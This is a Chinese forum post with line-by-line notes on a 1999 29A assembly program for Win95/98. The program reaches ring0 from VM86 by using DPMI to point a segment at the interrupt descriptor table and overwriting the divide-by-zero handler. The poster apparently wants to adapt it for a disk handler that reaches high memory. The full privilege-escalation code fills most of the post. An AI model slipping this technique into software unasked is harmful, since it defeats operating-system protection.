|
本帖最后由 不点 于 2023-10-14 12:30 编辑
理解、分析一下 Z0MBiE 的从 VM86 模式获取 ring0 权限的代码。文件名是 V86_2_R0.ASM。
以下是源代码,并附上我的注解。
; V86 -> RING0 (从 VM86 模式进入 ring0)
; this program should be executed under Win95/98
; developed under win98
程序应在 Win95/98 下运行;是在 Win98 下开发的。
; 1. start in V86, exec int3
; 2. go to PROT16/RING3 using DPMI, exec int3
; 3. go to PROT32/RING0 using DPMI/IDT hack, exec int3
; 4. back to DOS
第一步,从 VM86 模式启动,执行 int3 指令
第二步,用 DPMI 进入 16 位保护模式,ring3,执行 int3 指令
第三步,用 DPMI 并对 IDT 进行 hack,进入32位保护模式,ring0,执行 int3 指令
第四步,返回 DOS
这些 int3 指令,不起实质性作用,只是为了调试的时候,能够在此处中断。
; (c) Z0MBiE/29A -- March 22, 1999
model tiny (tiny 的意思就是要生成 .com 程序)
p386
locals __
jumps
codeseg
org 100h
start:
mov ax, 1600h ; windows running?
int 2fh
cmp al, 4 ; win95/98 ?
jne __exit 若不是 win9x,退出
int 3 ; V86
lea sp, endofstack ; set own stack
设置自己的堆栈
mov ah, 4ah ; resize our memory block
mov bx, memory 调整内存块大小
int 21h
以上代码不是实质性的,仅仅是减少本程序对内存的过多占用,因为 .com 程序默认占用 64K,有点多。
mov ax, 1687h ; DPMI - installation check
int 2fh 检查是否存在 DPMI
or ax, ax
jnz __exit 若不存在 DPMI,退出
; ES:DI = DPMI mode-switch entry point
; SI=memory(in par.) needed for DPMI private data
push es ; init DPMI initproc
push di
pop dpmicall 保存DPMI模式切换子程序入口
mov ah, 48h ; allocate memory
mov bx, si ; for DPMI private data
int 21h 为 DPMI 所需私有数据分配内存
jc __exit
mov es, ax 保存分配到的内存段值到ES
这额外的私有数据,有点讨厌。.com 程序运行在 DOS 下,当然可以调用 DOS 来分配内存。
然而我们假如只是在 int13 的 handler 里面运行,此时还能调用 DOS 来分配内存吗?
这是个疑问。就算能调用,将来在 int13 handler 结束时,还得记住要释放内存。
所以,安全起见,我们应该设法避免调用 DOS API 来分配内存。
xor ax, ax ; flags: bit0=0 -> 16-bit program
call dpmicall 调用模式切换子程序
jc __exit
; now in protected mode (16-bit, ring3)
此时已进入 16 位保护模式,ring3 权限。
int 3 ; PROT16/R3
sidt idtr ; read IDTR (读 “中断描述符表” 寄存器)
只有进入保护模式之后,DPMI 才会为保护模式代码生成 IDT。
这可能就是为什么需要进入保护模式的原因。
mov ax, 6 ; save (get&push) ES.base
mov bx, es 获取ES段的基地址
int 31h
push cx 将 ES 基地址保存在堆栈上
push dx
mov ax, 7 ; set ES.base
mov bx, es 设置 ES 段的基地址......
push idtr_base ; CX:DX=newnase=IDTR.base (此处 newnase 是打字错误,应为 newbase)
pop dx ......为中断描述符表的基地址
pop cx
int 31h
把 ES 指向中断描述符表,目的就是要修改中断描述符表。
ring3 程序可以修改中断描述符表,并进入 ring0,这应该属于 DPMI 的一个漏洞。
; by default ES points to PSP and ES.limit is 0FFh,
; so we can increase it a little w/o problems
DPMI 在默认时设置 ES 指向 PSP,段限是 0FFh(其实就是通常所说的 100h)。
所以我们可以把段限增大一点,没问题。
段限其实准备增大到中断描述符表的长度,也就是 2K。
; DPMI host is big madafucka, it dont allows you to set selectorlimit >= 2GB
去它大爷的,DPMI 服务端真该死,它不允许你设置段限为 2GB 或更多。
那就设置段限为 2K 吧,反正也够用了。
mov ax, 8 ; set ES.limit
mov bx, es
mov cx, 0 ; CX:DX=newlimit=maxIDTlimit
mov dx, 256*8-1 (这就是 2K)
int 31h
mov ax, 0006h ; get CS.base into CX:DX
mov bx, cs
int 31h 获取 CS 基地址
add dx, offset __ring0 ;calc lin. addr of __ring0
adc cx, 0 ; [BUGFIX] was: dx
push cx
push dx
pop ebp __ring0 的线性地址放在 ebp 中
xchg bp, es:[0] ; INT00 <--> __ring0
rol ebp, 16
xchg bp, es:[6]
修改中断描述符表的int 00表项,使其指向 __ring0
xor dx, dx
xor cx, cx 除以零,故意制造故障或异常
div cx ; call INT 00
除以零以后,会跳到 __ring0 处,执行 32 位保护模式的 ring0 代码(异常处理代码)。
异常处理结束后,回到这里继续运行。由于异常处理用 iret 结束,所以,
此时已经回到 16 位保护模式,ring3 权限了。
xchg bp, es:[6] ; INT00 <--> __ring0
rol ebp, 16
xchg bp, es:[0] 恢复中断描述符表原来的int00指针
mov ax, 7 ; restore(pop&set) ES.base
mov bx, es 恢复 ES 原来的基地址
pop dx
pop cx
int 31h
ES 段限不必恢复,大一点没关系。
__exit: mov ax, 4c00h ; exit
int 21h
在 DPMI 的保护模式下,可以直接执行 int21h/4C00h,退出DOS。
我们在 int13 handler 里面,当然不可以这么做。
在 int13 handler 里面,此时我们必须做一个额外的工作。
我们需要从 16 位保护模式切换到 VM86 模式,
这是因为 int13 handler 本来就运行在 VM86 模式。
如果继续保持 16 位保护模式的话,
在 int13 handler 的处理全部完成、准备最后执行 iret 返回到调用者的时候,就完蛋了。
我们可以通过调用 int31h/AX=301h 来切换到 VM86 模式。这个调用的名称是:
Call Real Mode Procedure With Far Return Frame。参见
; DOS PROTECTED MODE INTERFACE(DPMI) SPECIFICATION Version 1.0
; March 12, 1991
; Application Program Interface (API) for Protected Mode DOS Applications
; © Copyright The DPMI Committee, 1989-1991.
; All rights reserved.
; http://www.sudleyplace.com/dpmione/dpmispec1.0.pdf
调用之后,我们不要用 RETF 指令返回到保护模式。因为我们的目的只是进入 VM86 模式而已。
既然访问高位内存的工作已经完成,
此刻我们需要跳转到(或返回到) int13 handler 的某个合适的地方,这样就平滑过渡到了原来的流程,继续运行。
__ring0: int 3 ; PROT32/R0
inc cx ; inc ecx (!)
这条指令让 CX 不再是 0,保证 “除以零” 这个故障不会反复发生,而只发生一次。
这是因为,新型 CPU 把 “除以零” 作为故障,而故障的处理程序在 iret 结束后,
会再次跳到(返回到)出现故障的这条指令,重复执行一次。
也就是说,如果此时 CX 仍然是零,那么,故障将再次触发,
这样,就会无限循环,死机。
我们的 ring0 代码,应该插入这里。
此刻处于 32 位保护模式,ring0 权限。
我们的 ring0 代码需要进入 long 模式,
访问 4G 以上高位内存中的扇区数据,
然后再回到 32 位保护模式。
iret
这条 iret 会返回到先前的 16 位保护模式(ring3)代码中。
; ---------------------------------------------------------------------------
dpmicall dd ?
idtr label fword
idtr_limit dw ?
idtr_base dd ?
even
db 1024 dup (?)
endofstack:
memory equ ($-start+256+15)/16
end start
|
|